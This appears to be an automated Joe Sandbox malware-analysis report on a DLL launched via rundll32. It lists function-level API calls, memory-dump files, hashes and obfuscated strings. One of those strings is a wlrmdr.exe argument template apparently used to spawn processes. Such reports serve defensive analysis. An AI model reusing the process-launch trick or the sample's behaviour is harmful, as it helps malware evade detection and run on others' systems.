Sleep.KERNEL32(000003E8), ref: 6F9E1927

Part of subcall function 6F9EB8FB: MoveFileExW.KERNEL32(?,6F9E1940,00000002,?,6F9E1940,?,?), ref: 6F9EB908
Part of subcall function 6F9EB8FB: GetLastError.KERNEL32 ref: 6F9EB912
Part of subcall function 6F9EB8FB: __dosmaperr.LIBCMT ref: 6F9EB919

TerminateProcess.KERNEL32(00000000), ref: 6F9E1953
CloseHandle.KERNEL32 ref: 6F9E195F
CloseHandle.KERNEL32 ref: 6F9E1967
TerminateProcess.KERNEL32(00000000), ref: 6F9E19C4
CloseHandle.KERNEL32 ref: 6F9E19D0
CloseHandle.KERNEL32 ref: 6F9E19D8
FindNextFileW.KERNELBASE(00000000,?), ref: 6F9E19ED

Strings

%sk, xrefs: 6F9E1816
-s 3600 -f 0 -t _ -m _ -a 11 -u , xrefs: 6F9E183C, 6F9E184C, 6F9E184D
%s\%s, xrefs: 6F9E1726, 6F9E18F4, 6F9E1999
PT30S, xrefs: 6F9E18AC
%s\*.*, xrefs: 6F9E16B0
IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7B, xrefs: 6F9E1794
%s%s, xrefs: 6F9E1657
wlrmdr.exe, xrefs: 6F9E18D7
WlrMakeService, xrefs: 6F9E18E1

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: CloseFileHandle$FindProcessTerminate$CopyCreateEnvironmentErrorExpandFirstInitializeInstanceLastMoveNextSleepStringsUninitialize__dosmaperr_strlen
String ID: %s%s$%s\%s$%s\*.*$%sk$-s 3600 -f 0 -t _ -m _ -a 11 -u $IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7B$PT30S$WlrMakeService$wlrmdr.exe
API String ID: 3479604460-3724355521
Opcode ID: 865d66bfa23dd2daa7db51eadbdcba607887d4989aaba24b489d03dfd68a548e
Instruction ID: 2b3570ad5de0d49ab488c1ca6e9674aea4e97dff0f1587f219a45bb17a011366
Opcode Fuzzy Hash: 865d66bfa23dd2daa7db51eadbdcba607887d4989aaba24b489d03dfd68a548e
Instruction Fuzzy Hash: A7B19271904349AADF21DFA4DC49BEE37B8BF19318F00822AE908961C1EB759A85CB51

Function 6F9E2959 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 6F9E29A3
GetEnvironmentVariableW.KERNEL32(?,?,00000032,?,?,?,?,?,?,?,?,?,00000001,00000000,?,00000000), ref: 6F9E29F6

Part of subcall function 6F9E1274: GetModuleHandleW.KERNEL32(kernel32.dll,000000C8,00000000,6FA00E3C), ref: 6F9E12AB
Part of subcall function 6F9E1274: _strlen.LIBCMT ref: 6F9E12CA
Part of subcall function 6F9E1274: GetProcAddress.KERNEL32(?), ref: 6F9E1318
Part of subcall function 6F9E1274: _strlen.LIBCMT ref: 6F9E1336
Part of subcall function 6F9E1274: GetProcAddress.KERNEL32(?), ref: 6F9E137E
Part of subcall function 6F9E1274: _strlen.LIBCMT ref: 6F9E13A1

_strlen.LIBCMT ref: 6F9E2A1C

Part of subcall function 6F9E140F: _strlen.LIBCMT ref: 6F9E148D
Part of subcall function 6F9E140F: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FA04464), ref: 6F9E151B

Sleep.KERNELBASE(000005DC), ref: 6F9E2A74
Sleep.KERNELBASE(00007530), ref: 6F9E2A7B
_strlen.LIBCMT ref: 6F9E2A9A
_strlen.LIBCMT ref: 6F9E2AFD

Part of subcall function 6F9E1629: FindFirstFileW.KERNELBASE(?,00000000,F9A742C7,%s%s,00000000,00000000), ref: 6F9E16D8
Part of subcall function 6F9E1629: FindNextFileW.KERNELBASE(00000000,?), ref: 6F9E19ED

Strings

[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB, xrefs: 6F9E2A7D
gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>, xrefs: 6F9E2983
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB, xrefs: 6F9E2A01
%s%s, xrefs: 6F9E2AC1, 6F9E2AC7, 6F9E2B2A
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>, xrefs: 6F9E2AE2

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: _strlen$AddressFileFindProcSleep$CreateEnvironmentFirstHandleModuleNextProcessVariable
String ID: %s%s$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>$[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB$gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>
API String ID: 2056693606-1305241286
Opcode ID: df55d3a155478a89b3f0b06dd6e76a05333401030271a5f2c61872b7ee2740d8
Instruction ID: 17d94b2857fc7741f245efeb471b1fcccb32c793a4b521c6de76663591f44adb
Opcode Fuzzy Hash: df55d3a155478a89b3f0b06dd6e76a05333401030271a5f2c61872b7ee2740d8
Instruction Fuzzy Hash: B351FEB1904345ABD725DB60E880DEB77ECFF9924CF40492DA549932C1EB35EA05CB62

Function 6F9E140F Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 159
processsleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 6F9E148D
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FA04464), ref: 6F9E151B
_strlen.LIBCMT ref: 6F9E1573
Sleep.KERNELBASE(000003E8), ref: 6F9E15EB
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FA04480), ref: 6F9E160C

Strings

bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB, xrefs: 6F9E1558
%s %s, xrefs: 6F9E14E4, 6F9E15CC
`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>, xrefs: 6F9E146E

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: CreateProcess_strlen$Sleep
String ID: %s %s$`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB
API String ID: 688041527-2059495477
Opcode ID: f392528dd9747850c67de7894e4d38d4821dd312b5f699fb2f2911e59873dbb5
Instruction ID: 0a2ed944832ab80346731a79398aa8db3c606314b1904ac9d2d30e768f9b2d10
Opcode Fuzzy Hash: f392528dd9747850c67de7894e4d38d4821dd312b5f699fb2f2911e59873dbb5
Instruction Fuzzy Hash: CC5161B2504344BEE321DB64DC85FABB7ECEF99248F40482DB648D31C1EB74E9448B66

Function 6F9E3013 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F9E305A
___scrt_uninitialize_crt.LIBCMT ref: 6F9E3074

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 08a5ccfb64dd6d1db816cfbae6590f655f48eb6b415d1fce6836fc06bceb3bac
Instruction ID: 2838cea00fcf763d6ca778bbbb107e5b8b1a72ecfc90231cdc09bd71a6973925
Opcode Fuzzy Hash: 08a5ccfb64dd6d1db816cfbae6590f655f48eb6b415d1fce6836fc06bceb3bac
Instruction Fuzzy Hash: 4141B172D04714EEDB228FB5D842FAE7E79EF817A9F00411AE814562E1D731D9068FA0

Function 6F9E30C3 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6F9E3100
dllmain_crt_dispatch.LIBCMT ref: 6F9E3117
dllmain_raw.LIBCMT ref: 6F9E315F
dllmain_crt_dispatch.LIBCMT ref: 6F9E3172
dllmain_raw.LIBCMT ref: 6F9E3185

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: a76b709614151968b494c9b7d4a54c37225d2d521a341383d6d2daae4fe11e71
Instruction ID: 3cfb22a009475ad28d025200fece35524928e05d4f0d5e0287fb5159dbdaf047
Opcode Fuzzy Hash: a76b709614151968b494c9b7d4a54c37225d2d521a341383d6d2daae4fe11e71
Instruction Fuzzy Hash: 17217C72E04715EECB338F75C842EAF3E79AF81B95B00411AF8145A2E1D731DD418BA0

Function 6F9E2F0C Relevance: 4.6, APIs: 3, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F9E2F59

Part of subcall function 6F9E385E: mydllmain.DLL1(00000001,00000000,00000001,6F9E2F5E,6FA01F80,00000010,6F9E2EF4,?,?,?,6F9E311C,?,00000001,?,?,00000001), ref: 6F9E3877

Part of subcall function 6F9E3428: InitializeSListHead.KERNEL32(6FA03D60,6F9E2F63,6FA01F80,00000010,6F9E2EF4,?,?,?,6F9E311C,?,00000001,?,?,00000001,?,6FA01FC8), ref: 6F9E342D

Part of subcall function 6F9EC38F: mydllmain.DLL1(?,6F9EAAAA,?,6F9EC639,6F9FB194,6F9FB198,6FA02248,00000014,6F9EC571,6FA02268,00000008,6F9EC6F9,6F9E6503,?,B586E81C,F9A742C7), ref: 6F9EC3A6

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6F9E2FC3
mydllmain.DLL1(?,00000002,00000001,6FA01F80,00000010,6F9E2EF4,?,?,?,6F9E311C,?,00000001,?,?,00000001,?), ref: 6F9E2FD9

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: mydllmain$Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 1337761313-0
Opcode ID: 0e771cbaadb0c3c276046ba51d543496db5c172226b7bc970c9b55ed07a4ac0a
Instruction ID: b97925093bbd51652eede3a5556f00390acfe1ff0f7d462d8c0bc127fa2994aa
Opcode Fuzzy Hash: 0e771cbaadb0c3c276046ba51d543496db5c172226b7bc970c9b55ed07a4ac0a
Instruction Fuzzy Hash: 5921D572A08702AADF135FB5D802FDD3F616F6637CF10481AD4856B1D2DB32D056C612

Function 6F9F2E90 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mydllmain.DLL1(00000001,00000000,?,?,6F9ED02D,6F9FC018,6F9FC098,6F9E35C9,?,6F9E2F1F,00000000,6FA01F80,00000010,6F9E2EF4,?,?), ref: 6F9F2EAA
mydllmain.DLL1(00000000,00000001,00000000,?,?,6F9ED02D,6F9FC018,6F9FC098,6F9E35C9,?,6F9E2F1F,00000000,6FA01F80,00000010,6F9E2EF4,?), ref: 6F9F2EDA

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: mydllmain
String ID:
API String ID: 979097349-0
Opcode ID: db44138d5476bce643345ed35bfeae61f6856f6db0661a7a4afa86fe4605d2e8
Instruction ID: 6f31454d5a35569047882b67defe9587e3a8c6f2a3edcfb6ad8386f54621df05
Opcode Fuzzy Hash: db44138d5476bce643345ed35bfeae61f6856f6db0661a7a4afa86fe4605d2e8
Instruction Fuzzy Hash: C301A232A0669497DF229E599CC43EAB36D9F51220B21052EEC7A6B2C0C771FC4687A0

Function 6F9F2E87 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mydllmain.DLL1(00000001,00000000,?,?,6F9ED02D,6F9FC018,6F9FC098,6F9E35C9,?,6F9E2F1F,00000000,6FA01F80,00000010,6F9E2EF4,?,?), ref: 6F9F2EAA
mydllmain.DLL1(00000000,00000001,00000000,?,?,6F9ED02D,6F9FC018,6F9FC098,6F9E35C9,?,6F9E2F1F,00000000,6FA01F80,00000010,6F9E2EF4,?), ref: 6F9F2EDA

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: mydllmain
String ID:
API String ID: 979097349-0
Opcode ID: 157b67d090d7dbf46f6b7ee6b837fdeedfd49d8a45799cbc4cc7e21b528c7489
Instruction ID: 306308cec314d3d4e74cb6ca6f566e4aeb82a701340c2a867a4e01a15f8a8999
Opcode Fuzzy Hash: 157b67d090d7dbf46f6b7ee6b837fdeedfd49d8a45799cbc4cc7e21b528c7489
Instruction Fuzzy Hash: A701FC32A066845BDF129E18DCC43AAB36C9F51224B21052EDC766F1C1C735F8468790

Function 6F9EF9D8 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,00000001,6F9EAAAA,?,6F9EDA5C,00000001,00000364,00000006,000000FF,6F9EAAAA,6F9EAAAA,?,6F9E64D2,6F9EC1F7,F08BD84D), ref: 6F9EFA19

Part of subcall function 6F9EC30C: mydllmain.DLL1(?,00000001,?,6F9EFA0B,00000001,?,6F9EDA5C,00000001,00000364,00000006,000000FF,6F9EAAAA,6F9EAAAA,?,6F9E64D2,6F9EC1F7), ref: 6F9EC322

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: AllocateHeapmydllmain
String ID:
API String ID: 2479503475-0
Opcode ID: 770f530231a20ccf6c6378675263a69336955838bc26cfad333a7bc42b228042
Instruction ID: 793bc27fe7137431ded9fd8a40187b7b36361ab248c44a1d3b11f6180b3413a5
Opcode Fuzzy Hash: 770f530231a20ccf6c6378675263a69336955838bc26cfad333a7bc42b228042
Instruction Fuzzy Hash: 37F0B436345626ABEF535A26B905A9A379CBF8577CB118117AC18AE1C4FB20E40186E1

Function 6F9E1000 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 6F9E1014

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a6d17202687152cbcfb55542fb7a407863c434a54d7a9ee4ffc0fdb367169027
Instruction ID: 9000987cb098be165034ac60058ec63f69ca38bdac99d9a8f45fba4bf5daea90
Opcode Fuzzy Hash: a6d17202687152cbcfb55542fb7a407863c434a54d7a9ee4ffc0fdb367169027
Instruction Fuzzy Hash: 16B09B3559534296E2415B60444CB1D77545F52257F04C415E169800D4CA20C0958A72

Non-executed Functions

Function 6F9F4000 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f16893357eab88c71203644af9a81a3f4eae31f83bff0b40e1d198b84c0f35b
Instruction ID: 6e0fe9c455517ca4ead514f86fe4a5d5c69521affc67d2775cd3a8e353982d36
Opcode Fuzzy Hash: 6f16893357eab88c71203644af9a81a3f4eae31f83bff0b40e1d198b84c0f35b
Instruction Fuzzy Hash: 96025E71E012199BDB14CFADDA806DEB7F5FF88314F14826AD915EB384D731A9428F90

Function 6F9E3741 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6F9E374D
IsDebuggerPresent.KERNEL32 ref: 6F9E3819
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6F9E3832
UnhandledExceptionFilter.KERNEL32(?), ref: 6F9E383C

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1a7f7cc68f09033e737cc48678ab252b08f60f4fc2fa83e7180a00bb4beb8df7
Instruction ID: a35412e01fa201132d4c5444e81ecfd5f67bf1429ad383b26fa6d6b0c2bcf7c0
Opcode Fuzzy Hash: 1a7f7cc68f09033e737cc48678ab252b08f60f4fc2fa83e7180a00bb4beb8df7
Instruction Fuzzy Hash: D6310875D05319EBDF21DFA4D949BCDBBB8AF18304F1041EAE40DAB290EB719A848F45

Function 6F9E1274 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 137libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,000000C8,00000000,6FA00E3C), ref: 6F9E12AB
_strlen.LIBCMT ref: 6F9E12CA
GetProcAddress.KERNEL32(?), ref: 6F9E1318
_strlen.LIBCMT ref: 6F9E1336
GetProcAddress.KERNEL32(?), ref: 6F9E137E
_strlen.LIBCMT ref: 6F9E13A1
GetProcAddress.KERNEL32(?), ref: 6F9E13E7

Strings

QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>, xrefs: 6F9E138B
QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>, xrefs: 6F9E12B1
kernel32.dll, xrefs: 6F9E12A6
QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>, xrefs: 6F9E1320

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: AddressProc_strlen$HandleModule
String ID: QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>$QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>$QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>$kernel32.dll
API String ID: 3538810943-2765630095
Opcode ID: a05f8d45d7267224055fceed0a656bf5fe71c851f62b4e2f17c4690b53eb4f9d
Instruction ID: d6edb42e3ec7574594b70c827e0a6a6c5876ce9c5f3f3e786e12283e5015a1b7
Opcode Fuzzy Hash: a05f8d45d7267224055fceed0a656bf5fe71c851f62b4e2f17c4690b53eb4f9d
Instruction Fuzzy Hash: 3F41A171D007489BDB26DFF4EC909AE7BB8BF69208F54842ED951D3282EB359905CB10

Function 6F9F65F9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6F9F6340: CreateFileW.KERNEL32(00000000,00000000,?,6F9F66A2,?,?,00000000,?,6F9F66A2,00000000,0000000C), ref: 6F9F635D

GetLastError.KERNEL32 ref: 6F9F670D
__dosmaperr.LIBCMT ref: 6F9F6714
GetFileType.KERNEL32(00000000), ref: 6F9F6720
GetLastError.KERNEL32 ref: 6F9F672A
__dosmaperr.LIBCMT ref: 6F9F6733
CloseHandle.KERNEL32(00000000), ref: 6F9F6753
CloseHandle.KERNEL32(00000000), ref: 6F9F68A0
GetLastError.KERNEL32 ref: 6F9F68D2
__dosmaperr.LIBCMT ref: 6F9F68D9

Strings

H, xrefs: 6F9F685E

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 33078b5a48b1cb3652776a81294ff222925e90476b64218e58754a2518311b84
Instruction ID: 828bf70aabec8da5f72e49fbffe0f4d003aabd93dbe7dc05b85f7a33ae7ee12c
Opcode Fuzzy Hash: 33078b5a48b1cb3652776a81294ff222925e90476b64218e58754a2518311b84
Instruction Fuzzy Hash: 2CA10E32A157059BCF099F68D851BAD3BB5AF07328F28025DE8119F2D2CB35D823CB91

